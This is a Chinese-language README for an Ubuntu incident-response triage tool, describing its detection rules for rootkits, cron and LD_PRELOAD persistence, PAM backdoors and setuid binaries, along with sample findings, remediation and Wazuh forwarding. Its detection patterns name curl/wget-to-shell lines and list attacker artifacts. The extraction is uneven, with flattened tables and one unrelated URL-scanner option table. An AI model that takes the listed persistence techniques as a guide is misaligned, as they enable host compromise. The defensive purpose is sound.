KERNEL_MODULE_SUSPICIOUS — 内核模块在 ring 0 中运行,具有不受限制的访问权限。攻击者经常加载自定义内核模块以用于 rootkit、数据包嗅探或进程隐藏。此规则将当前加载的模块与一个预期内置模块的小型允许列表(大多数系统常见)进行比较。其严重性为 LOW,因为该允许列表被有意设置得很窄。注意: 带有 GPU 驱动、Wi-Fi 网卡或专有驱动的硬件密集型主机会产生误报。响应人员应通过 --config 添加其主机的预期模块,按模块名称(用作 artifact_path)加入允许列表。仅标记 — 内核模块调查需要取证工具和人工专业知识。
示例发现:``` [LOW] KERNEL_MODULE_SUSPICIOUS Title: Loaded kernel module not in the expected set Artifact: implant_rootkit Raw value: {'name': 'implant_rootkit', 'size': '12288', 'used_by': []} Remediation: not available
**SETUID_INVENTORY** — Setuid 和 setgid 二进制文件在执行时会自动提升权限。攻击者会创建自定义的 setuid/setgid 二进制文件以持久化权限提升,通常位于标准系统二进制目录之外(如主流安装路径 /opt、用户自己的 /home、/srv 或全局可写的临时目录)。此规则通过 `find -perm -4000 -o -perm -2000` 在 `/usr /bin /sbin /opt /home /srv /tmp /var/tmp /dev/shm` 中清点 setuid/setgid 二进制文件,并标记任何不在已知合法系统工具基线集合中的文件。仅标记 — 意外的 setuid/setgid 二进制文件需要调查,但也可能是合法的应用程序安装的二进制文件。
*示例发现:*```
[LOW] SETUID_INVENTORY
Title: Unexpected setuid binary
Artifact: /tmp/.hidden/backdoor
Raw value: setuid
Remediation: not available
--json 将单个 JSON 对象写入 stdout。不打印其他内容。```json
{
"scan_metadata": {
"tool_version": "2.1.0",
"hostname": "web-01",
"generated_at": "2026-06-10T08:22:03.114523+00:00",
"ubuntu_version": "Ubuntu 22.04.3 LTS",
"architecture": "x86_64",
"duration_s": 2.84,
"collector_failures": 0,
"bundle_integrity": "live",
"command_collectors_skipped": [],
"collectors_degraded": {},
"rules_failed": [],
"timeline_error": null,
"suppressed_by_baseline": 1
},
"artifact_counts": {
"ProcessCollector": 142,
"NetworkCollector": 23,
"UserCollector": 4,
"CronCollector": 7,
"SystemdCollector": 12,
"SSHCollector": 3,
"SudoersCollector": 5,
"EnvironmentCollector": 18
},
"findings": [
{
"rule_id": "CRON_TMP_PATH",
"severity": "HIGH",
"title": "Cron job references writable temp directory",
"description": "A cron job was found referencing /tmp, /var/tmp, or /dev/shm. These directories are world-writable and commonly used as attacker staging grounds.",
"artifact_path": "/etc/cron.d/cleanup",
"raw_value": "0 * * * * root /tmp/.update",
"remediation_available": true,
"remediation_description": "Will remove the offending cron entry from /etc/cron.d/cleanup after creating a timestamped backup.",
"related_events": [
{
"timestamp": "2024-01-15T08:20:00+00:00",
"source": "syslog",
"description": "CRON[2841]: (root) CMD (/tmp/.update)"
}
],
"confidence": 75,
"confidence_band": "HIGH",
"signals": [
{"name": "timeline_corroboration", "weight": 25, "detail": "1 nearby timeline event(s)"}
]
},
{
"rule_id": "PROCESS_MASQUERADE",
"severity": "MEDIUM",
"title": "Process masquerading as system binary",
"description": "Process 'sshd' (pid=1337) has exe path outside standard binary directories: /tmp/.sshd",
"artifact_path": "/proc/1337/exe",
"raw_value": "/tmp/.sshd",
"remediation_available": false,
"guided_remediation": "Confirm pid 1337 is malicious (ls -l /proc/1337/exe, cat /proc/1337/cmdline), then terminate it: kill -9 1337.",
"confidence": 50,
"confidence_band": "MEDIUM",
"signals": []
}
],
"timeline": [
{
"timestamp": "2024-01-15T08:22:01+00:00",
"source": "syslog",
"description": "sshd: Accepted publickey for alice from 10.0.0.42 port 52341"
}
],
"report_sha256": "a3f1c9…(64 hex chars)"
}
`remediation_results` 仅在传入 `--remediate` 时作为额外的顶层键出现。`report_sha256` 始终存在,并基于文档其余部分计算。`scan_metadata.bundle_integrity` 对于 `scan` 和 `analyze --root` 为 `"live"`,对于传递给 `analyze` 的已验证 bundle 为 `"ok"`,如果 bundle 的内容与其清单不匹配则为 `"mismatch"` —— 参见 [JSON 输出中的 Bundle 完整性](#bundle-integrity-in-json-output)。`scan_metadata.command_collectors_skipped` 列出在 `--root` 运行中被跳过的任何基于命令的收集器(`NetworkCollector`、`SystemdCollector`、`PackageCollector`、`KernelCollector`)—— 对于 `scan` 和 `analyze BUNDLE` 始终为空。`scan_metadata.suppressed_by_baseline` 是 `--baseline` 文件从本报告中移除的发现数量 —— 参见 [已知良好基线](#known-good-baselining---baseline)。`scan_metadata.collectors_degraded` 将收集器名称映射到其数据不完整的原因(命令失败或超时、文件不可读、跳过的格式错误行),`rules_failed` 列出任何崩溃的检测规则,如果时间线无法构建则设置 `timeline_error`。在健康运行中这三者均为空。在将空的发现列表解读为“干净”之前,请先检查它们。
`related_events` 和 `guided_remediation` 仅在发现具有内容时才出现在发现上。`related_events` 最多包含五个时间线事件,按产物路径和规则关键词与发现匹配,最近的在前 —— 这是一种浮现辅助,而非因果断言。`guided_remediation` 是供你手动运行的经过审查的命令序列;ubuntils 从不执行它。
### 置信度评分
每个发现都带有一个 `confidence` 分数(0–100,默认 50)和一个 `confidence_band`(`HIGH` ≥ 75,`MEDIUM` ≥ 40,低于此值为 `LOW`),以及一个 `signals` 列表,准确显示该分数是如何得出的 —— 每个条目为 `{"name", "weight", "detail"}`,因此分数始终可解释,绝非黑盒。信号在基础置信度 50 之上累加,并由产生它们的规则或流水线阶段应用:
- 检测规则在发现时应用自己的信号 —— 例如,当产物的内容匹配已知危险模式(危险的 SSH 密钥选项;shell RC 文件中的 curl/wget-to-shell 或 base64-decode 行)时,`SSH_UNAUTHORIZED_KEY` 和 `SHELL_RC_MODIFICATION` 添加 `content_match`(+30);当文件的 ctime 也位于检测窗口内时(比仅凭 mtime 更难伪造),添加 `ctime_corroborates_mtime`(+20);或者当新近性是*唯一*信号且 ctime 无法佐证时,添加 `mtime_only`(−20)—— 这提示 mtime 可能被回溯。
- 流水线在发现↔时间线关联之后应用 `timeline_corroboration`(+25),当发现具有一个或多个 `related_events` 时。
`LOW` 频段的发现不会被忽略或隐藏 —— 它仍会像其他任何发现一样出现在发现列表和 JSON 输出中 —— 但该频段告诉你进一步调查前应给予多少权重。这取代了 `SSH_UNAUTHORIZED_KEY`/`SHELL_RC_MODIFICATION` 旧的仅 mtime 启发式方法,在该方法中,一个陈旧但被合法触碰的文件(例如配置管理工具在每次运行时重写 `.bashrc`)看起来与真正的新后门完全相同。
**已知限制:** 目前仅内容模式和 ctime 信号处于活跃状态。基于所有权/指纹的信号 —— 未知的 SSH 密钥指纹、密钥的 `from=` 限制选项,或 RC 文件所有者/模式不匹配(`ownership_anomaly` 信号)—— 尚未实现。这是一个推迟的覆盖缺口,已为未来版本跟踪,当前的置信度分数并未将其纳入考虑。
---
## 修复
十六条检测规则中有五条具有自动修复:`CRON_ROOT_EXEC`、`CRON_TMP_PATH`、`LD_PRELOAD_INJECT`、`SSH_UNAUTHORIZED_KEY` 和 `SUDOERS_NOPASSWD`。其余仅为标记,永远不会被自动修复,因为安全地对其采取行动需要人工先查看。
### 引导式修复
`SUSPICIOUS_SYSTEMD_TIMER`、`PROCESS_MASQUERADE` 和 `SHELL_RC_MODIFICATION` 带有一个 `guided_remediation` 字符串:一旦你确认了发现,即可运行的确切命令 —— `systemctl disable --now <unit>`、`kill -9 <pid>`,或 RC 文件审查与还原。它显示在 TUI 详情窗格和 JSON 中。ubuntils 从不为你运行它;这些规则按设计不参与 `--remediate --confirm` 扫描。
### 在 TUI 中
在 Findings 选项卡中选择任何带有修复的发现,然后按 `R`。确认模态框会预览计划的操作。按 `Y` 应用它 —— 修复器在后台线程中运行,因此 TUI 保持响应。完成后,发现行更新为 `[fixed]`,并内联显示备份路径和确切回滚命令。
### 从 CLI
不带 `--confirm` 的 `--remediate` 是安全的试运行:会创建备份并运行验证,但不会应用任何更改。传入两个标志才会实际进行更改。在此模式下,流水线在 TUI 启动之前运行,Summary 选项卡列出每个修复结果及其备份路径和回滚命令。
`--remediate --confirm` 仅对置信度分数至少为 40(MEDIUM 频段)的发现采取行动 —— 低置信度、仅 mtime 的 `SSH_UNAUTHORIZED_KEY` 会被报告为 `SKIPPED`,而不是删除其密钥。使用 `--min-confidence N` 调整门槛。```bash
sudo ubuntils scan --remediate # dry run
sudo ubuntils scan --remediate --confirm # apply changes, then open TUI
sudo ubuntils scan --remediate --confirm --min-confidence 75 # only HIGH-confidence findings
无论以何种方式触发,每项修复都遵循相同的模式:
/var/backups/ubuntils/YYYYMMDD_HHMMSS/ 创建带时间戳的备份,权限模式为 0700/etc/ld.so.preload 中的条目被移除(加载器在那里没有注释语法,因此被注释的条目仍会被加载)。对于 sudoers,编辑后的内容会在触碰真实文件之前,在临时副本上用 visudo -cf 检查/etc/sudoers如果任何步骤失败,修复立即停止,系统保持原样,并报告完整错误以及备份路径和回滚命令。Sudo 访问通过两种方式保护:%group NOPASSWD 规则(如 %sudo)仅标记,绝不自动移除;sudoers 修复器拒绝从主 sudoers 文件中移除最后一条规则。
ubuntils 是为单主机、时间点分诊而构建的——当你已经怀疑出问题时才运行它,并且它在扫描结束后从不回传数据或持续监视。这是有意为之,但这也意味着 ubuntils 的发现只存在于那一份报告中,除非有东西将其传递下去。大多数在任意规模上运行 Ubuntu 的团队都已经有一个 SIEM 在做持续检测方面的工作,因此与其将 ubuntils 构建成自己的长期运行监控代理,不如将其发现交给你可能已经在运行的那个:Wazuh。
如果主机上存在 Wazuh 代理(/var/ossec/bin/wazuh-agentd 或 /var/ossec/etc/ossec.conf 存在),ubuntils scan(除非使用 --no-wazuh 运行)会将每个发现作为一行 JSON 追加到 /var/log/ubuntils/wazuh-alerts.json,供代理拾取——这是一个纯粹的转发器,不是 Wazuh 模块:没有网络调用,没有 API 密钥,只有 ubuntils 已经进行的相同本地工件写入——不过代理当然会将这些行发送到其管理器,这正是重点。它会自动检测,无需任何标志(使用 --no-wazuh 让某次运行退出),因此在已注册代理的主机群上,脚本化或计划性的 ubuntils scan 会立即开始向 SIEM 提供数据,无需额外接线。这在离线 ubuntils analyze(bundle 或 --root)期间绝不会发生,因为这些发现描述的是与运行本地 Wazuh 代理的主机不同的主机——将 bundle 的发现转发给分析师自己的代理会将其错误归因到错误的机器上。
其意图是将 ubuntils 融入现有的告警/升级管道,而不是要求响应者照看第二个工具:一旦加载了下面的示例规则,一个 HIGH 严重级别的 ubuntils 发现(新的 UID-0 账户、LD_PRELOAD rootkit、PAM 后门)会作为正常的 Wazuh 告警出现,继承管理器已配置的任何通知路由,并与同一时间线中的所有其他信号并列,而不是一个需要有人记得去检查的独立 JSON 文件。
要让 Wazuh 解析并对这些发现告警,请将 examples/wazuh/ 中的示例规则复制到你的 Wazuh 管理器,并将 examples/wazuh/ossec_localfile_snippet.xml 中的 <localfile> 块添加到代理的 /var/ossec/etc/ossec.conf。无需安装自定义解码器:localfile 配置为 log_format json,因此 Wazuh 内置的 JSON 解码器会解析每一行,并将每个顶层 JSON 键 k 映射到 data.k,local_rules.xml 直接匹配它。
examples/wazuh/local_rules.xml → 管理器的 /var/ossec/etc/rules/examples/wazuh/ossec_localfile_snippet.xml 的 <localfile> 块 → 代理的 /var/ossec/etc/ossec.confsystemctl restart wazuh-manager(管理器),systemctl restart wazuh-agent(代理主机)这些仅是示例模板,作为起点提供——它们尚未针对实际运行的 Wazuh 管理器进行测试,在依赖它们之前应在非生产环境中验证。
每行的 JSON 模式:
PackageCollector 需要活动主机上的三个标准 Ubuntu 工具(dpkg、lsattr、find——均存在于标准 Ubuntu 安装中)。如果任何命令不可用,PackageCollector 会优雅地为该部分生成空数据,而不是崩溃。离线分析(analyze BUNDLE)会重放 collect 时捕获的命令输出,因此分析器主机上的命令可用性不是必需的。
setuid/setgid 的 find 扫描传递 -xdev 以保持有界——它不会进入单独挂载的文件系统(/opt 下的独立挂载、NFS 挂载的 /home 等)。这是有意的运行时与覆盖范围权衡:没有 -xdev,扫描可能会在扫描网络挂载或虚拟文件系统时挂起。如果你的环境将这些路径挂载在单独的文件系统上,请注意它们不会被扫描。
dpkg --verify 和 setuid/setgid 的 find 扫描使用宽松的非默认超时(分别为 10 分钟和 5 分钟,见 ubuntils/collectors/packages.py),因为在具有大型包数据库或文件系统树的真实主机上,两者都可能合理地运行远超库默认的 30 秒;ubuntils collect 在将这些命令捕获到 bundle 时使用相同的超时。
| 支持 | |
|---|---|
| Ubuntu | 20.04、22.04、24.04 |
| 架构 | amd64、arm64 |
| Python | 3.9+ |
| 权限 | 完整工件访问需要 root |
不以 root 运行会产生带警告的部分扫描。关键路径如 /etc/shadow、受保护的 crontab 目录以及某些 /proc 条目将被跳过。
v1.0.0
v1.1.0
--config)--output FILE 直接写入报告--since 时间线窗口report_sha256、主机名、时间戳)USER_UID_ZERO 检测规则v1.5.0
--rules)PROCESS_SUSPICIOUS_CONNECTION——按 PID 的进程↔网络关联related_events)VirusTotal 哈希查询和 MISP IOC 导出已从此版本中移除。VirusTotal 只对已知哈希给出答案——这是 rkhunter 已经覆盖的情况,与 ubuntils 所针对的新技术空白恰恰相反——而且这两个功能都会在一个其价值建立在零网络调用之上的工具中引入网络调用。ubuntils 本身仍然不进行任何网络调用(关于发现可以通过本地代理离开主机的唯一可选择退出的方式,见 Wazuh 集成)。
v2.0.0 — 离线 collect/analyze 拆分
ubuntils collect——从活动主机获取防篡改 bundle(manifest.json + 哈希文件/命令),不进行检测ubuntils analyze (BUNDLE | --root PATH)——对 bundle 或挂载镜像运行与 scan 相同的检测/时间线管道,无需 rootbundle_integrity(live/ok/mismatch)在 scan_metadata 中呈现PROCESS_MASQUERADE、PROCESS_SUSPICIOUS_CONNECTION,以及 cron/sudoers/SSH glob 路径和 systemd 定时器 的覆盖减少)v2.1.0 — SIEM 转发
ubuntils scan 发现作为 JSONL 转发到本地 Wazuh 代理,自动检测(无需标志)ossec.conf <localfile> 片段(examples/wazuh/)scan——绝不在离线 analyze 期间触发,因为 bundle 或镜像描述的是与运行代理的主机不同的主机--no-wazuh 让某次扫描退出转发v2.1.0 — 加固(全代码库审计)
PATH,命令在固定的安全路径上解析;sudoers 编辑在触碰文件之前经过 visudo 检查;原子修复写入;符号链接安全的报告/bundle 输出;analyze 后删除提取的 bundle/etc/ld.so.preload,@reboot/@daily cron 条目和 /etc/cron.{hourly,daily,weekly,monthly} 脚本,systemd .service 单元和非 root 拥有的 ExecStart 二进制文件,%group sudoers 规则和 #include/@includedir,LD_PRELOAD 列表的每个元素v3.0.0 / v4.0.0(探索性)
目前最有用的贡献是新的检测规则(作为独立函数添加到 detectors/rules.py 并附带匹配的测试)、针对尚未覆盖的工件类型的额外收集器、SUSPICIOUS_SYSTEMD_TIMER 和 SHELL_RC_MODIFICATION 的修复模块(两者目前按设计仅标记,但可能存在安全的自动修复路径)、针对特定 Ubuntu 配置的边缘情况的测试用例,以及文档改进。
在开始大型贡献之前先开一个 issue,以避免重复工作。
MIT
由 Asmit 构建——BTech Computer Science,PES University,Bengaluru。该工具源于对人工 Ubuntu 分诊耗时之长的不满,与一个范围明确的脚本所能自动化的相比。
| 选项 | 描述 | 默认值 |
|---|
-t, --target | 单个目标 URL | - |
-f, --file | 包含目标 URL 的文件 | - |
-p, --proxy | 用于请求的代理 URL | - |
-T, --timeout | 请求超时时间(秒) | 10 |
-c, --concurrency | 并发线程数 | 10 |
-v, --verbose | 启用详细输出 | False |
-o, --output | 输出文件路径 | - |
/var/log/audit/audit.logjournalctl| 按键 | 标签页 | 内容 |
|---|
1 | 摘要 | 扫描统计信息 + 概览中的主要发现 |
2 | 发现 | 完整发现列表,包含内联详情和修复建议 |
3 | 时间线 | 按时间顺序关联的日志事件 |
4 | 统计 | Ubuntu 版本、架构、持续时间、收集器数量 |
| 规则 ID | 严重性 | 可修复 | 检查内容 |
|---|
| CRON_ROOT_EXEC | HIGH | 是 | 非 root 用户的 crontab 在 root 拥有的路径中运行命令或内联 sudo |
| CRON_TMP_PATH | HIGH | 是* | 任何引用 /tmp、/var/tmp 或 /dev/shm 的 cron 任务(包括 @reboot/@daily 条目以及 /etc/cron.{hourly,daily,weekly,monthly} 中的脚本)。*脚本行仅标记 |
| LD_PRELOAD_INJECT | HIGH | 是 | /etc/ld.so.preload 中的任何条目(原版 Ubuntu 上为空),或任何 shell 初始化文件中带有 /lib、/usr/lib、/lib64、/usr/lib64 之外任何列出库的 LD_PRELOAD |
| SUSPICIOUS_SYSTEMD_TIMER | HIGH | 否 | ExecStart 引用全局可写目录或运行非 root 拥有的二进制文件的 systemd 定时器和服务单元 |
| SSH_UNAUTHORIZED_KEY | MEDIUM | 是 | 最近 7 天内修改过的 authorized_keys 文件 |
| USER_UID_ZERO | HIGH | 否 | 除 root 外任何 UID 为 0 的账户(隐藏的第二个超级用户) |
| USER_EMPTY_PASSWORD | HIGH | 否 | /etc/shadow 密码字段为空的登录 shell 账户(Ubuntu 默认 PAM nullok 允许其无密码登录) |
| SUDOERS_NOPASSWD | MEDIUM | 是* | 对 UID ≥ 1000 且具有登录 shell 的用户授予 NOPASSWD sudoers 权限,直接或通过 %group 规则;包含的文件会被跟踪。*组规则仅标记(移除 %sudo 可能会移除所有 sudo 访问权限) |
| PROCESS_MASQUERADE | MEDIUM | 否 | 名称与已知系统二进制文件匹配但可执行文件位于标准系统目录(/usr/bin、/usr/sbin、/bin、/sbin、/usr/local/{bin,sbin}、/usr/lib、/usr/libexec、/lib、/snap)之外的进程 |
| PROCESS_SUSPICIOUS_CONNECTION | HIGH / MEDIUM | 否 | 持有出站连接且可执行文件位于全局可写临时目录或已从磁盘删除(HIGH),或位于标准系统目录之外或与非标准远程端口通信(MEDIUM)的进程 |
| SHELL_RC_MODIFICATION | LOW | 否 | 任何具有登录 shell 的用户的 shell 初始化文件(bashrc、profile、zshrc 等)在最近 48 小时内被修改 |
| PACKAGE_TAMPERED | HIGH | 否 | 系统拥有的软件包文件被修改、缺失,或其内容/模式/大小与软件包清单不匹配(通过 dpkg --verify) |
| IMMUTABLE_FLAG_SET | MEDIUM | 否 | 在 /etc/passwd、/etc/sudoers 或 /etc/pam.d/* 等敏感文件上设置了不可变(i)或仅追加(a)标志(通过 lsattr 检测) |
| PAM_BACKDOOR | HIGH | 否 | 任何 /etc/pam.d/* 文件中的字面 pam_permit.so 行,或 /etc/nsswitch.conf 中不在允许列表(files/sss/ldap/winbind/...)内的 NSS 模块 |
| KERNEL_MODULE_SUSPICIOUS | LOW | 否 | 加载的内核模块不在常见内置模块的允许列表内——注意:硬件密集型主机(GPU、Wi-Fi 网卡、专有驱动)会出现误报;通过 --config 添加预期模块 |
| SETUID_INVENTORY | LOW | 否 | 已知基线集合之外的意外 setuid 或 setgid 二进制文件(这两个位会分别检查并报告) |
| 字段 | 类型 | 描述 |
|---|
timestamp | string (ISO 8601) | 发现被转发的时间 |
hostname | string | 被扫描的主机 |
rule_id | string | 匹配 ubuntils 的检测规则 ID(见上方的检测规则表) |
severity | string | HIGH | MEDIUM | LOW |
title | string | 简短的人类可读标题 |
description | string | 完整的发现描述 |
artifact_path | string | 发现问题的文件/资源路径 |
raw_value | string | 触发规则的原始行/值 |
remediation_available | bool | ubuntils 是否有针对此规则的修复器 |
related_events | array (可选) | 关联的时间线事件(如果有) |
| 收集器 | 收集的工件 |
|---|
| ProcessCollector | 来自 /proc 和 ps 输出的运行进程 |
| NetworkCollector | 来自 ss/netstat 的开放连接和监听器 |
| UserCollector | /etc/passwd、/etc/shadow、/etc/group |
| CronCollector | /etc/cron* 目录和 /var/spool/cron/crontabs/* |
| SystemdCollector | systemctl list-timers 和 list-units 输出 |
| SSHCollector | 所有用户的 ~/.ssh/authorized_keys |
| SudoersCollector | /etc/sudoers 和 /etc/sudoers.d/ 下的所有文件 |
| EnvironmentCollector | /etc/environment、/etc/profile.d/*、用户 shell 初始化文件 |
| PackageCollector | 通过 dpkg --verify 检查系统包完整性,通过 lsattr 检查不可变标志属性,通过 find 检查 setuid/setgid 二进制文件 |
| PamCollector | /etc/pam.d/* 文件和 /etc/nsswitch.conf |
| KernelCollector | 通过 lsmod 加载的内核模块 |
ExecStartconfidence/confidence_band/signals)、--baseline 抑制,将 SSH_UNAUTHORIZED_KEY/SHELL_RC_MODIFICATION 中仅基于 mtime 的启发式替换为 ctime + 内容信号,以及针对 analyze BUNDLE 和 analyze --root 的真实离线时间线PACKAGE_TAMPERED、IMMUTABLE_FLAG_SET、PAM_BACKDOOR、KERNEL_MODULE_SUSPICIOUS、SETUID_INVENTORY(通过 PackageCollector、PamCollector、KernelCollector;全部按设计仅标记)USER_EMPTY_PASSWORD/usr/lib 守护进程视为标准,KERNEL_MODULE_SUSPICIOUS 降级为 LOW,每个模块一个 NSS 发现scan_metadata 和 TUI 中;时间线失败不再丢弃发现;被篡改的 bundle 发出警告并以 3 退出;syslog 年份/时区正确处理--min-confidence 门控(默认 40),结果在 scan --remediate 后显示在 TUI 中